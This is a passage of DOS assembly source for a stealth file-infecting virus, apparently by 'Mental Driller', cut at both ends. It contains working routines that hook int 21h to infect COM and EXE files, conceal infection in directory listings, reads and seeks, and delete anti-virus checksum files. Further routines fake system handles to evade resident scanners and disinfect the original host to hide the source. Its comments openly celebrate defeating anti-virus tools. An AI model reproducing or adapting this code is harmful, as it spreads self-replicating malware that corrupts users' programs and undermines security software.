@@TamanyoArchivoFCB ; If it is, stealth it! @@FinInt21h: JMP DWORD PTR CS:[AntInt21h-200h] ; Jump to real int 21h ;; The virus will infect this path on the second time a terminate function is ;; called RutaKEYB DB 'C:\DOS\KEYB.COM', 0 ;; Memory write zone Basura6 dw 0 ;; To infect KEYB.COM @@InfectaKEYB: PUSH CS ; Set DS:DX to CS:RutaKEYB POP DS MOV DX, Offset RutaKEYB-200h JMP @@SigueInfec02 ; Jump to infect it ;; Infect FCB @@InfectaFCB: PUSHA ; Save registers PUSH DS PUSH ES CALL ObtenNombreFCB ; Get in DS:DX the name of the file MOV AH, 4Bh ; Set this value to AH to aprofite the ; routine JMP @@Infecta2 ; Jump ;; Infect handle @@InfectaHandle: PUSHA ; Save registers PUSH DS PUSH ES CALL ParcheaInt24h ; Patch int 24, 1Bh and 23h CMP BX, 0004 ; Check if it is a system handle JBE @@Fin00 ; If it is, jump and exit MOV AH, 35h ; Duplicate handle CALL Int21h JC @@Fin00 ; If error, exit MOV BX, AX ; Put handle on BX JMP @@SigueInfec01 ; Jump ;; Infect by get/set attributes or terminate program @@InfectaAtributos: InfectaKeyb: @@Infecta: PUSHA ; Save registers PUSH DS PUSH ES @@Infecta2: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h CMP AH, 43h ; Is get/set attributes function? JZ @@SigueInfec02 ; If it is, jump CMP AH, 4Bh ; Is execute program? JZ @@SigueInfec02 ; If it is, jump CALL ObtenNombre ; Routine to get the name of the program ; which is going to be terminated CMP BYTE PTR CS:[Desinfeccion-200h], 0 ; Is this value 0? JZ @@SigueInfec02 ; If it is, continue normally DEC BYTE PTR CS:[Desinfeccion-200h] ; Decrement this value JNZ @@InfectaKEYB ; If it isn't 0, infect KEYB.COM JMP @@Siguiente ; If it is 0, disinfect the program. ; That's because normally the first program ; which calls to "terminate execution" func- ; tions is the infected host, so, doing this, ; the host will be disinfected and the victim ; doesn't know which file carried the virus to ; his/her computer :) @@SigueInfec02: CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if ; they exist) MOV AX, 2D00h ; Open file to infect CALL Int21h JC @@Fin00 ; If error, exit MOV BX, AX ; Put handle on BX @@SigueInfec01: CALL FakeHandle ; Fuck resident AVs :) CALL OperaHandle ; Check handle for many things. Returns ; the SFT of the handle in DS:DI JC @@Fin01 ; If there is an error, exit PUSH DS ; Put DS on ES POP ES PUSH CS ; DS <= CS POP DS MOV AX, 4700h ; Get date/time of handle CALL Int21h MOV [Hora-200h], CX ; Save them MOV [Fecha-200h], DX MOV AH, 1Ah ; Get today's date CALL Int21h SUB CX, 01980d ; Convert it to packed on CX ROR CX, 7 PUSH DX XOR DH, DH OR CX, DX POP DX XOR DL, DL ROR DX, 3 OR CX, DX SUB CX, [Fecha-200h] ; Subtract file's date JZ @@Fin01 ; If it's equal or one more, don't infect it DEC CX JZ @@Fin01 CALL CambiaAtributos ; Change file attributes and write ; permissions by SFT CALL LeeCabecera ; Read the first 18 bytes of the file JC @@Fin02 ; If error, exit PUSH SI ; Copy this 18 bytes to Cabecera2 PUSH DI PUSH ES PUSH CS POP ES MOV DI, Offset Cabecera2-200h MOV CX, 000Ch REP MOVSW POP ES POP DI POP SI CALL CompruebaNombre ; Check if the name of the file is ne- ; arly the infected before JC @@Fin02 ; If it is, don't infect it (anti-goat ; system) MOV AX, [SI] ;Get two first bytes of the file in AX CMP AX, 4CB4h ; Are a "MOV AH,4C" instruction? JZ @@Fin02 ; If they are, don't infect the file CMP AL, 0B8h ; Check if it is a "MOV AX,..." JNZ @@Siguuuu ; If it isn't, jump and continue CMP BYTE PTR [SI+02], 4Ch ; Check if it is a "MOV AX,4C??" JZ @@Fin02 ; If it is, exit @@Siguuuu: CMP AL, 0E9h ;Check if first instruction is a "JMP" JNZ @@Continua002 ; If not, continue MOV CL, BYTE PTR CS:[Hora-200h] ; Get seconds in CL AND CL, 1Fh CMP CL, 1Eh ; Are they "60"? JZ @@Fin02 ; If they are, exit (already infected) @@Continua002: ADD AX, 0B2A6h ; First two bytes = "MZ"? JZ @@InfectaEXE ; If they are, infect EXE CMP AX, 0CF3h ; Are they "ZM"? JZ @@InfectaEXE ; Infect EXE, then @@InfectaCOM: MOV BYTE PTR [TipoEjec-200h], 0 ; Executable type=COM MOV AX, [SI] ; Store first three bytes in Los3bytes MOV WORD PTR [Los3bytes-200h], AX MOV AL, BYTE PTR [SI+2] MOV BYTE PTR [Los3bytes-200h+2], AL CALL PtrFinal ;Handle pointer to the end of the file OR DX, DX ; Size > 65536? JNZ @@Fin02 ; Then, exit CMP AX, 1000h ; Size < 4096? JB @@Fin02 ; Then, exit CMP AX, 0E000h ; Size > 57344? JA @@Fin02 ; Then, exit CALL MiraSiRoundedSize ; Check if file size is divisible by ; 512 or 500 (rounded size :) ) JZ @@Fin02 ; If it is, exit ADD AX, 0100h ; Add PSP size MOV WORD PTR [InicioVirus-200h+1+16h], AX ; Set delta- ; offset SUB AX, 0103h ; Subtract PSP size and 3 bytes to get ; JMP displacement PUSH AX ; Save it onto stack CALL HazVirus ; Make a virus :) POP AX ; Recover AX OR CX, CX ; If error size, CX=0 JZ @@Fin02 ; If CX=0, then exit ADD AX, DX ; Add displacement to decryptor MOV WORD PTR [SaltoCOM-200h+1], AX ; Form a JMP MOV DX, Offset NewVirus-200h ; DS:DX=address of stored PUSH CS ; virus POP DS MOV AH, 30h ; Copy it to file CALL Int21h JC @@Fin02 ; If write error, exit CALL PtrInicio ; Go to the beginning of file MOV DX, Offset SaltoCOM-200h ; Write JMP MOV CX, 0003 MOV AH, 30h CALL Int21h JC @@Fin02 ; If error, don't set seconds @@Fin03: AND BYTE PTR [Hora-200h], 0E0h ; Set seconds to 60 OR BYTE PTR [Hora-200h], 1Eh @@Fin02: MOV AX, 4701h ; Put original date/time MOV CX, CS:[Hora-200h] MOV DX, CS:[Fecha-200h] CALL Int21h CALL RestauraAtributos ; Restore attributes @@Fin01: CALL UnfakeHandle ; Restore original handle @@Fin00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h POP ES ; Recover registers POP DS POPA CMP AH, 4Ch JNZ @@Qwerty CMP BYTE PTR CS:[Desinfeccion-200h], 1 JNZ @@EndTotal RET @@Qwerty: CMP AH, 3Eh ; Is it the "close handle" function? JZ @@SEUUF ; If it is, jump to SEUUF CMP AH, 10h ; Is it the "close FCB" function? JZ @@SEUUF ; If it is, jump to SEUUF CMP AH, 43h ;Is it the "get/set attributes" func.? JZ @@FinInt21h ; If it is, jump to exit CMP AH, 4Bh ; Is it the "execute" function? JZ @@FinReInfeccion ; Then, jump @@EndTotal: MOV BYTE PTR CS:[NoStealth-200h], 0 ;Set "NoStealth" value ; to 0 JMP @@FinInt21h ; Jump and exit ; The next code is made to avoid int 24h errors when you try to write a pro- ; tected disk. I don't know why, but when you write to a handle, you close the ; duplicated handle and unpatch the int 24h, when you close the handle comple- ; tely, int 24h is called. So I had to investigate and I achieved to avoid ; this problem performing this code (from "@@SEUUF" to "@@FinReinfeccion"). ; It doesn't matter if int 24h is patched when you close the handle. If you ; try to do anything in a protected disk, only the virus activities will be ; stealthed, but no the system activities (like it would seem to everybody ; watching this) but don't ask me why it happens exactly :) ; Maybe because MS-DOS is made by Shit-o-soft :) @@SEUUF: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h again SUB AH, 10h ; Close handle CALL Int21h PUSHF CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h POPF RETF 0002 ; Interrupt return @@FinReinfeccion: POP AX ; Recover original AX and flags POPF RETF 0002 ; Interrupt return ;; Memory write zone Basura7 dw 0 ;; Let's infect EXE files. EXE header is in DS:SI. @@InfectaEXE: MOV BYTE PTR [TipoEjec-200h], 1 ; Executable type=EXE MOV EAX, DWORD PTR [SI+14h] ; Save CS:IP and SS:SP MOV DWORD PTR [InicIP-200h], EAX ; addresses on header MOV EAX, DWORD PTR [SI+0Eh] MOV DWORD PTR [InicSS-200h], EAX MOV AX, [SI+12h] ; Get value on +12h XOR AX, [SI+0Eh] ; XOR it with SS CMP AX, 'MD' ;Check if it is "MD", Mental Driller :) JZ @@Fin03 ; If it is (already infected), exit CALL PtrFinal ; Go to the end of the file MOV CX, 200h ; Divide file size by 512 DIV CX OR DX, DX ; Check remainder JZ @@Salto001 ; If 0, jump INC AX ; Round AX @@Salto001: CMP AX, [SI+04] ; Check file size in header. If it is JNZ @@Fin02 ; different, exit CMP DX, [SI+02] JNZ @@Fin02 CALL PtrFinal ; Get file size again CMP DX, 06h ; Check if file size is over 65536*5 JAE @@Fin02 ; If it is, exit OR DX, DX ; Size < 65536? JNZ @@Salto002 ; If it isn't, size is OK CMP AX, 1000h ; If size < 4096, exit JB @@Fin02 @@Salto002: CALL MiraSiRoundedSize ; Check if rounded size (multiple of ; 512 or 500) JZ @@Fin02 ; If it is, exit PUSH AX ; Save size onto stack PUSH DX MOV CX, AX ; Put the low word of size in CX CALL TamanyoReal ; Get the size the virus would have in ; this file in AX ADD AX, CX ; Add it to the size of the file ADC DX, +00 MOV CX, 200h ; Divide it by 512 DIV CX OR DX, DX JZ @@Salto003 INC AX ; Round AX @@Salto003: MOV [SI+04], AX ; Put values on header MOV [SI+02], DX POP DX ; Recover file size POP AX MOV CX, 0010h ; Divide it by 16 DIV CX SUB AX, [SI+08h] ; Subtract header size in paragraphs JBE @@Fin02 ; If error, exit MOV [SI+16h], AX ; Put result like new initial segment PUSH AX ; Save AX onto stack MOV WORD PTR [Offset InicioVirus-200h+1+16h], DX ;Put ;initial delta-offset PUSH DX ; Save DX onto stack CALL HazVirus ; Make a virus! POP AX ; Recover DX in AX OR CX, CX ; Error? JNZ @@SaltoJAJA ; If not, continue ; Cool labels! :) POP AX ; Nivelate stack JMP @@Fin02 ; Exit @@SaltoJAJA: ADD AX, DX ; Add displacement to decryptor to AX MOV [SI+14h], AX ; Put it on the header POP AX ; Recover initial segment from stack ADD AX, (LongVirus2 / 16)+6 ;Add virus size in paragraphs XOR DX, DX ; DX=0 MOV [SI+0Eh], AX ; Put new SS:SP address MOV [SI+10h], DX MOV DX, Offset NewVirus-200h ; Write the constructed virus MOV AH, 30h ; to file CALL Int21h JC @@Fin02 ; If error, exit CALL PtrInicio ; Go to the beginning of the file MOV AX, 'MD' ; Put infection mark XOR AX, [SI+0Eh] MOV [SI+12h], AX MOV AH, 30h ; Overwrite old header MOV CX, 0018h MOV DX, SI CALL Int21h JC @@Fin02 ; If error, don't set seconds to 60 JMP @@Fin03 ; If there isn't error, set them to 60 ;; Memory write zone Basura8 dw 0 ;;; DTA ADDRESS SETTING @@NuevoDTA: MOV WORD PTR CS:[DirecDTA-200h], DX ; Save new direction MOV WORD PTR CS:[DirecDTA-200h+2], DS ; in our variables JMP @@FinInt21h ;;; DIRECTORY STEALTH @@StealthDIR: MOV BYTE PTR CS:[Estado-200h], AH ; Save function CLC ; Clear Carry-Flag SUB AH, 10h ; Call int 21h function CALL Int21h PUSHF ; Save ALL PUSHA PUSH DS PUSH ES JC @@FinStealthDIR ; If error, exit LDS BX, DWORD PTR CS:[DirecDTA-200h] ; Get DTA address CMP BYTE PTR CS:[Estado-200h], 12h ; Via FCBs? JBE @@Stealth1001 ; Then, jump here @@Stealth2001: MOV SI, 0FFFFh ; SI=-1 MOV DI, 0FFFDh ; DI=-3 JMP @@StealthX001 ; Jump and continue @@Stealth1001: INC AL ; AL=FF? JZ @@FinStealthDIR ; Error, then exit XOR SI, SI ; SI=DI=0 XOR DI, DI CMP BYTE PTR [BX], 0FFh ; ¨Extended FCB? JNZ @@StealthX001 ; If not, continue ADD BX, +07 ; Add 7 to BX @@StealthX001: ADD BX, 0017h ; Get time address on DTA fields MOV AL, BYTE PTR [BX+SI] ; Get in AL the seconds AND AL, 1Fh ; Are them set to 60? CMP AL, 1Eh JNZ @@FinStealthDIR ; If they aren't, exit CMP WORD PTR [BX+DI+08], +00 ; Check if size is very small JNZ @@StealthX002 CMP WORD PTR [BX+DI+06], (LongVirus2 + 1000h) JB @@FinStealthDIR ; If very small, exit @@StealthX002: MOV AX, WORD PTR [BX+SI] ;Get real size of the virus in AND AX, 1FE0h ; AX ROR AX, 5 ADD AX, LongVirus2 SUB WORD PTR [BX+DI+06], AX ; Subtract it from file size SBB WORD PTR [BX+DI+08], +00 ; fields MOV AL, BYTE PTR [BX+SI+01] ; Set a more credible seconds AND AL, 1Eh ; value AND BYTE PTR [BX+SI], 0E0h ADD [BX+SI], AL ; This instruction has the op- ; code 0000 :) @@FinStealthDIR: POP ES ; Recover all registers POP DS POPA POPF RETF 0002 ; Interrupt return ;; Memory write zone Basura9 dw 0 ;;;;; PROGRAM DISINFECTION VIA FCB @@DesinfectaFCB: PUSHA ; Save registers PUSH DS PUSH ES CALL ObtenNombreFCB ; Get name of file on the FCB XOR AX, AX ; AX=0 JMP @@Desinfecta02 ; Jump here ;;; DESINFECSION DE POGRAMAS QE SE HAVREN ;;; (pogranm disinfecshion wehn iou open dem) @@DesinfectaHandle: PUSHA ; Save registers PUSH DS PUSH ES @@Desinfecta02: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h CMP AH, 6Ch ; Check if function 6Ch is used JNZ @@Siguiente ; If it isn't used, jump MOV DX, SI ; Put SI on DX @@Siguiente: MOV BP, AX ; Save AX on BP CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if ; they exist) MOV AX, 2D00h ; Open file CALL Int21h JC @@FinX00 ; If error, exit MOV BX, AX ; Put handle on BX CALL FakeHandle ; Fuck resident AVs :) CALL GetSFT ; Get the SFT on ES:DI JC @@FinX01 ; If error, exit @@KKVH: MOV AX, BP ; Put BP on AX XOR AH, 50h ; AH=4B? CMP AH, 1Bh JNZ @@KKVI ; If it isn't, jump CALL MirarsiStealth ; Desactivate stealth if it's a special ; program @@KKVI: CALL CambiaAtributos ; Change attributes and access mode MOV AX, 4700h ; Get date/time from file CALL Int21h PUSH CS POP DS MOV [Hora-200h], CX ; Save it MOV [Fecha-200h], DX CALL LeeCabecera ; Read file header (first 18 bytes) MOV AX, [SI] ; Check if EXE ADD AX, 0B2A6h JZ @@DesinfEXE ; Jump here if it's an EXE CMP AX, 0CF3h JZ @@DesinfEXE ; Jump here if it's an EXE @@DesinfCOM: CMP BYTE PTR [SI], 0E9h ; If first byte isn't a JMP opco- JNZ @@FinX02 ; de, exit (file is not infected) @@MiraSegundos: MOV AL, BYTE PTR [Hora-200h] ; Get seconds AND AL, 1Fh CMP AL, 1Eh ; Are they "60"? JNZ @@FinX02 ; If not, exit JMP @@SigueDesinf ; Jump @@DesinfEXE: MOV AX, [SI+12h] ; Check if it has the infection mark XOR AX, [SI+0Eh] ; for EXEs CMP AX, 'MD' JNZ @@FinX02 ; If not, exit JMP @@MiraSegundos @@SigueDesinf: MOV AX, ES:[DI+11h] ; Get file size MOV DX, ES:[DI+13h] OR DX, DX ; Check if the file is too small JNZ @@SigueDesinf2 CMP AX, 1000h + LongVirus2 JB @@FinX02 ; If it's too small, exit @@SigueDesinf2: CALL PtrCasiFinal ; Pointer to (end_of_file - 1Ah) MOV CX, 001Ah ; Read 1Ah bytes MOV DX, Offset NewVirus-200h MOV SI, DX MOV AH, 2Fh CALL Int21h JC @@FinX02 ; If error, exit MOV AH, [SI+18h] ; Get key for decryption PUSH DI ; Save registers PUSH SI PUSH ES PUSH CS POP ES MOV DI, SI ; DI=SI MOV CX, 0018h ; Decrypt all bytes read. They are the CLD ; original header of the file @@LoopDesinf1: LODSB XOR AL, AH STOSB LOOP @@LoopDesinf1 POP ES ; Restore registers POP SI POP DI CALL PtrInicio ; File pointer to the beginning MOV CX, 0018h MOV DX, SI MOV AH, 30h ; Write original header CALL Int21h JC @@FinX02 ; If error, exit MOV DX, (10000h - LongVirus2) ; Put file pointer on the MOV AX, WORD PTR [Hora-200h] ; end minus virus size AND AX, 1FE0h ROR AX, 5 SUB DX, AX MOV CX, 0FFFFh MOV AX, 3202h CALL Int21h XOR CX, CX ; Truncate file size MOV AH, 30h CALL Int21h JC @@FinX02 ; If error, exit @@FinX03: MOV AL, [SI+19h] ; Get original seconds MOV BYTE PTR [Hora-200h], AL ; Put them on time field @@FinX02: MOV CX, CS:[Hora-200h] ; Restore date/time MOV DX, CS:[Fecha-200h] MOV AX, 4701h CALL Int21h CALL RestauraAtributos ; Restore original attributes @@FinX01: CALL UnfakeHandle ; Restore original handle @@FinX00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h POP ES ; Recover all registers POP DS POPA CMP AH, 4Bh ; Check if "execute" function JNZ @@FinInt21h ; If it isn't, jump MOV WORD PTR CS:[Basura10-200h], DX ; Save pointer to file MOV WORD PTR CS:[Basura10-200h+2], DS ; name SUB AH, 10h ; Execute file (or whatever with func- CALL Int21h ; tion 4Bh) PUSHF ; Save flags and AX PUSH AX MOV AH, 4Bh ; Put 4B on AH PUSHA ; Save all registers PUSH DS PUSH ES LDS DX, DWORD PTR CS:[Basura10-200h] ; Get saved pointer ; to file name and ; reinfect file JMP @@Infecta2 ;; To save pointer to file name, but it is a memory write zone, too Basura10 dw 2 DUP (0) ;;;;; WHEN YOU WANT TO GET AN INTERRUPT VECTOR @@ObtenerVector: CMP AL, 21h ; Int 21h vector? JNZ @@FinalOV01 ; If it isn't, exit PUSHA ; Save registers PUSH ES XOR AX, AX ; ES=0 MOV ES, AX MOV AX, CS ; AX=CS MOV BX, 0050h CMP AX, ES:[BX+36h] ; Check if segment on TVI is the same ; than the virus' segment JNZ @@FinalOV02 ; If not, exit POP ES ; Recover registers POPA LES BX, DWORD PTR CS:[AntInt21h-200h] ; Return original ; int 21h IRET ; Return @@FinalOV02: POP ES ; Recover registers and jump to inte- POPA ; rrupt @@FinalOV01: JMP @@FinInt21h ;;;;; WHEN YOU WANT TO SET AN INTERRUPT VECTOR @@FijarVector: CMP AL, 21h ; Int 21h? JNZ @@FinalOV01 ; If not, exit PUSHA ; Save registers PUSH ES XOR AX, AX ; ES=0 MOV ES, AX MOV BX, 0050h MOV AX, CS ; Compare if segment in TVI is the same CMP AX, ES:[BX+36h] ; than the virus' segment JNZ @@FinalOV02 ; If not, exit CLI ; Put on AntInt21h the new interrupt MOV CS:[AntInt21h-200h], DX ; vector MOV CS:[AntInt21h-200h+2], DS STI POP ES ; Recover registers and return POPA IRET Basura11 dw 0 ;;;;;;;;; STEALTH FOR FUNCTION 57h @@HoraFechaHandle: CMP BX, 0004 ; System handle? JBE @@FinInt21h ; Then exit PUSHA ; Save registers PUSH DS PUSH ES CALL GetSFT ; Get SFT of the handle JC @@FinY00 ; If error, exit MOV AH, BYTE PTR ES:[DI+0Dh] ; Get seconds AND AH, 1Fh ; If they aren't "60", then finish CMP AH, 1Eh JNZ @@FinY00 CMP AL, 01 ; Check if "set" function JZ @@HoraFechaHandle2 ; If it is, jump JA @@FinY00 ; Exit if AL>1 ;; Here to get real seconds in file @@HoraFechaHandle1: PUSH WORD PTR ES:[DI+15h] ; Save handle file pointer PUSH WORD PTR ES:[DI+17h] CALL CambiaAtributos ; Change attributes and access mode MOV AX, ES:[DI+11h] ; Get file size in AX-DX MOV DX, ES:[DI+13h] SUB AX, +01 ; Subtract 1 from size SBB DX, +00 MOV ES:[DI+15h], AX ; Put this value like new file pointer MOV ES:[DI+17h], DX MOV CX, 0001 ; Read one byte MOV DX, Offset NewVirus-200h MOV AH, 2Fh CALL Int21h JC @@FinY01 ; If error, exit MOV CX, ES:[DI+0Dh] ; Get date/time from SFT MOV DX, ES:[DI+0Fh] MOV CL, BYTE PTR [NewVirus-200h] ; Get seconds MOV WORD PTR [Hora-200h], CX ; Save date/time MOV WORD PTR [Fecha-200h], DX CALL RestauraAtributos ; Restore attributes POP WORD PTR ES:[DI+17h] ; Restore file pointer POP WORD PTR ES:[DI+15h] POP ES ; Restore registers POP DS POPA MOV CX, WORD PTR [Hora-200h] ; Put date and time on DX and MOV DX, WORD PTR [Fecha-200h] ; CX respectively IRET ; Interrupt return ;; Here to set seconds to file @@HoraFechaHandle2: MOV BYTE PTR [NewVirus-200h], CL ;Put here the new seconds AND CL, 0E0h ; Eliminate seconds OR CL, 1Eh ; Set seconds to 60 MOV ES:[DI+0Dh], CX ; Put them directly in the SFT MOV ES:[DI+0Fh], DX ; fields PUSH WORD PTR ES:[DI+15h] ; Save file pointer PUSH WORD PTR ES:[DI+17h] CALL CambiaAtributos ; Change attributes and access mode MOV AX, ES:[DI+11h] ; Get file size MOV DX, ES:[DI+13h] SUB AX, +01 ; Subtract 1 from file size SBB DX, +00 MOV ES:[DI+15h], AX ; Put this new file pointer MOV ES:[DI+17h], DX MOV AH, 30h ; Write the new seconds to the end MOV DX, Offset NewVirus-200h ; of the infected file MOV CX, 0001 CALL Int21h CALL RestauraAtributos ;Restore attributes and access mode POP WORD PTR ES:[DI+17h] ; Restore file pointer POP WORD PTR ES:[DI+15h] POP ES ; Recover registers POP DS POPA IRET ; Interrupt return @@FinY01: CALL RestauraAtributos ; Restore attributes POP WORD PTR ES:[DI+17h] ; Restore file pointer POP WORD PTR ES:[DI+15h] @@FinY00: POP ES ; Restore registers POP DS POPA JMP @@FinInt21h ; Jump to original int 21h ;; Memory write zone Basura12 dw 0 ;;;;; WRITE STEALTH ;;; Normally, if you open a handle of a file that can be written, teorically ;; it would be disinfected too, but the computer world is very strange :) , ;; so we will do it, just in case. ;; DISABLED UNTIL I FIND THE F*%&#! BUG ;@@EscribeHandle: ; All put off, it won't be assembled ; CMP BX, 0004 ; JBE @@FinInt21h ; PUSHA ; PUSH DS ; PUSH ES ; CALL FakeHandle ; CALL GetSFT ; JC @@FinalEscrHandle ; MOV AL, ES:[DI+02] ; AND AL, 03h ; CMP AL, 01 ; JB @@FinW00 ; PUSH WORD PTR ES:[DI+15h] ; PUSH WORD PTR ES:[DI+17h] ; CALL ParcheaInt24h ; MOV BP, 4000h ; JMP @@KKVH ;@@FinalEscrHandle: ; CALL ParcheaInt24h ; @@FinW00: CALL UnfakeHandle ; POP ES ; POP DS ; POPA ; JMP @@FinInt21h ;;;;; READ STEALTH @@LeeHandle: CMP BX, 0004 ; System handle? JBE @@FinInt21h ; Then exit PUSHA ; Save registers PUSH DS PUSH ES CALL GetSFT ; Get SFT of this handle in ES:DI JC @@Salida ; If error, exit MOV AL, ES:[DI+0Dh] ; Get seconds on AL AND AL, 1Fh CMP AL, 1Eh ; Seconds=60? JNZ @@Salida ; If not, exit CALL TamanyoReal ; Get size of the virus in the file SUB WORD PTR ES:[DI+11h], AX ; Subtract virus size to file SBB WORD PTR ES:[DI+13h], +00 ; size LDS DX, DWORD PTR ES:[DI+15h] ; Save current pointer MOV CS:[Puntero3-200h], DX MOV CS:[Puntero3-200h+2], DS POP ES ; Recover registers POP DS POPA SUB AH, 10h ; Execute read function CALL Int21h PUSHF ; Save registers and flags PUSHA PUSH DS PUSH ES CALL GetSFT ; Get SFT on ES:DI JC @@Salida2 ; If error, exit CALL TamanyoReal ; Get in AX the virus size ; for this file ADD WORD PTR ES:[DI+11h], AX ;Add virus size to file size ADC WORD PTR ES:[DI+13h], +00 PUSH DS ; Save DS LDS SI, DWORD PTR CS:[Puntero3-200h] ; Get saved pointer MOV AX, DS ; AX=DS POP DS ; Restore DS OR AX, AX ; If read function didn't read any- JNZ @@Salida2 ; thing from the file header, exit CMP SI, +18h JAE @@Salida2 MOV WORD PTR CS:[SaltoCOM+1-200h], SI ; Save low word of ; file pointer MOV SI, DX ; Put read-buffer offset in SI MOV BP, DS ; Put read-buffer segment in BP LDS DX, ES:[DI+15h] ; Load file pointer in DS-DX MOV CS:[Puntero3-200h], DX ; Save current file pointer MOV CS:[Puntero3-200h+2], DS CALL CambiaAtributos ; Change attributes and access mode CALL PtrCasiFinal ; Put file pointer to (end - 1Ah) PUSH CS ; Read stored original header POP DS MOV DX, Offset NewVirus-200h MOV CX, 001Ah MOV AH, 2Fh CALL Int21h JC @@Salida3 ; If error, exit MOV DS, BP ; Put the read-buffer segment in DS MOV BP, DX ; Put in BP the direction where the ; original header has been read ADD BP, WORD PTR CS:[SaltoCOM-200h+1] ; Add to BP the low ; word of the file pointer MOV CX, 0018h ;Put in CX the value (18h-low_word...) SUB CX, WORD PTR CS:[SaltoCOM-200h+1] MOV AH, BYTE PTR CS:[NewVirus-200h+18h] ; Get encrypt key @@LoopE02: MOV AL, CS:[BP] ;Copy original header to the read buffer XOR AL, AH MOV [SI], AL INC BP INC SI LOOP @@LoopE02 @@Salida3: CALL RestauraAtributos ; Restore file attributes LDS DX, DWORD PTR CS:[Puntero3-200h] ;Restore file pointer MOV ES:[DI+15h], DX MOV ES:[DI+17h], DS JMP @@Salida2 ; Jump and exit ;; Memory write zone Basura13 dw 0 ;;;;; POINTER SEEK STEALTH @@Salida: POP ES ;Restore registers and jump to original int 21h POP DS POPA JMP @@FinInt21h @@StealthPuntero: CMP BX, 0004 ; System handle? JBE @@FinInt21h ; If it is, exit PUSHA ; Save registers PUSH DS PUSH ES CALL GetSFT ; Get SFT of the handle in ES:DI JC @@Salida ; If error, exit MOV AL, ES:[DI+0Dh] ; Get seconds in AL AND AL, 1Fh CMP AL, 1Eh ; Seconds=60? JNZ @@Salida ; If the file is not infected, exit CALL TamanyoReal ; Get size of the virus in this file SUB WORD PTR ES:[DI+11h], AX ; Subtract this value to the SBB WORD PTR ES:[DI+13h], +00 ; file size POP ES ; Perform the int 21h function POP DS POPA SUB AH, 10h CALL Int21h PUSHF PUSHA PUSH DS PUSH ES CALL GetSFT ; Get SFT, blah, blah... JC @@Salida2 CALL TamanyoReal ; Get virus size... ADD WORD PTR ES:[DI+11h], AX ; Recover original file size ADC WORD PTR ES:[DI+13h], +00 @@Salida2: POP ES ; Recover registers POP DS POPA POPF RETF 0002 ; Interrupt return ;;;;; STEALTH FOR FUNCTION 23h @@TamanyoArchivoFCB: SUB AH, 10h ; Perform function CALL Int21h PUSHA ; Save registers PUSH DS PUSH ES INC AL ; Error? (AL=FF) JZ @@HayError03 ; If error, exit MOV DS, WORD PTR CS:[DirecDTA-200h+2] ; Get DTA address MOV BX, WORD PTR CS:[DirecDTA-200h] CMP BYTE PTR [BX], 0FFh ;If extended MCB, add 7 to address JNZ @@SaltoDIR7 ; to handle both normal and exten- ADD BX, 0007h ; ded ones @@SaltoDIR7: ADD BX, 0017h ; Check if seconds=60 MOV AL, [BX] AND AL, 1Fh CMP AL, 1Eh JNZ @@HayError03 ; If not, exit CMP WORD PTR [BX+08h], +00 ; Check if file size is too JNZ @@SaltoDIR8 ; small CMP WORD PTR [BX+06h], LongVirus+1000h JB @@HayError03 ; If it is, exit @@SaltoDIR8: MOV AX, [BX] ; Get virus size for this file AND AX, 1FE0h ROR AX, 5 ADD AX, LongVirus2 XOR DX, DX ; DX=0 MOV CX, [BX+0Eh] ; Get size of size fields DIV CX ; Divide file size by size fields OR DX, DX ; Round AX JZ @@SaltoDIR9 INC AX @@SaltoDIR9: SUB WORD PTR [BX+21h], AX ; Subtract virus size from file JNC @@HayError03 ; size DEC WORD PTR [BX+23h] @@HayError03: POP ES ; Recover registers POP DS POPA IRET ; Interrupt return ;;;; IOCTL FUNCTIONS STEALTH ;; It consists on check if they are manipulating a faked handle. In that case, ;; we return the information of the real handle and we put the WRITABLE bit ;; on, so the sacnning program thinks that the operations to the handle are ;; legal :) @@FuncionesIOCTL: CMP BYTE PTR CS:[ControlFunc44h-200h], 1 JNZ @@AcabaIOCTL CMP BX, CS:[FakedHandle-200h] JNZ @@AcabaIOCTL PUSHA PUSH ES MOV CX, 9 MOV DI, Offset FuncionesIOCTL - 200h PUSH CS POP ES CLD REPNZ SCASB POP ES POPA JNZ @@AcabaIOCTL @@Funcion: PUSH BX PUSH BP MOVZX BP, AL MOV BX, CS:[AntHandle-200h] SUB AH, 10h CALL Int21h JC @@FuncionX OR BP, BP JNZ @@FuncionX AND DX, 1111111110111111b OR DX, 0000100000000000b @@FuncionX: POP BP POP BX RETF 0002 @@AcabaIOCTL: JMP @@FinInt21h FuncionesIOCTL DB 0,1,2,3,6,7,0Ah,0Ch,10h NewInt21h ENDP ;; END OF NEW INTERRUPT 21h ;; Memory write zone Basura14 dw 0 ;; Procedure to get a file name from a FCB ObtenNombreFCB PROC MOV BX, DX CMP BYTE PTR [BX], 0FFh ; Add 7 if extended FCB JNZ @@SaltoFCB_001 ADD BX, 0007 @@SaltoFCB_001: INC BX ; File name in BX MOV SI, BX PUSH CS POP ES MOV DI, Offset NombreFCB - 200h ;Place where the name will MOV DX, DI ; be stored CLD MOV CX, 0008 ; Max length of name on a FCB @@LoopFCB_01: LODSB ; Check if space CMP AL, 20h JZ @@FinLoopFCB ; If space, end loop STOSB ; Store character LOOP @@LoopFCB_01 @@FinLoopFCB: MOV AL, '.' ; Extension STOSB LEA SI, [BX+08] ; SI=address of file extension on FCB MOV CL, 03 @@LoopFCB_02: LODSB ; Check if space CMP AL, 20h JZ @@FinLoopFCB_2 ; If space, end loop STOSB LOOP @@LoopFCB_02 @@FinLoopFCB_2: XOR AL, AL ; Store a NUL character STOSB PUSH CS ; Return name in DS:DX POP DS RET ObtenNombreFCB ENDP ; End of procedure ;; Procedure to get the virus size in the file of the SFT in ES:DI TamanyoReal PROC MOV AX, ES:[DI+0Dh] ; Get time AND AX, 1FE0h ; Get hour and minutes in AX ROR AX, 5 ADD AX, LongVirus2 ; Add static size RET ; return TamanyoReal ENDP ;; FAKEHANDLE! It selects randomly a handle between 0000 and 0003 and substi- ;; tutes the handle in BX with the random handle. Handles from 0 to 4 are sys- ;; tem handles, and most resident anti-virus ignore operations on this han- ;; dles, so the virus can read/write appearing to be system operations. This ;; can be detected by IOCTL functions, but I stealth them! :) ;; VLAD: Thanks for this idea 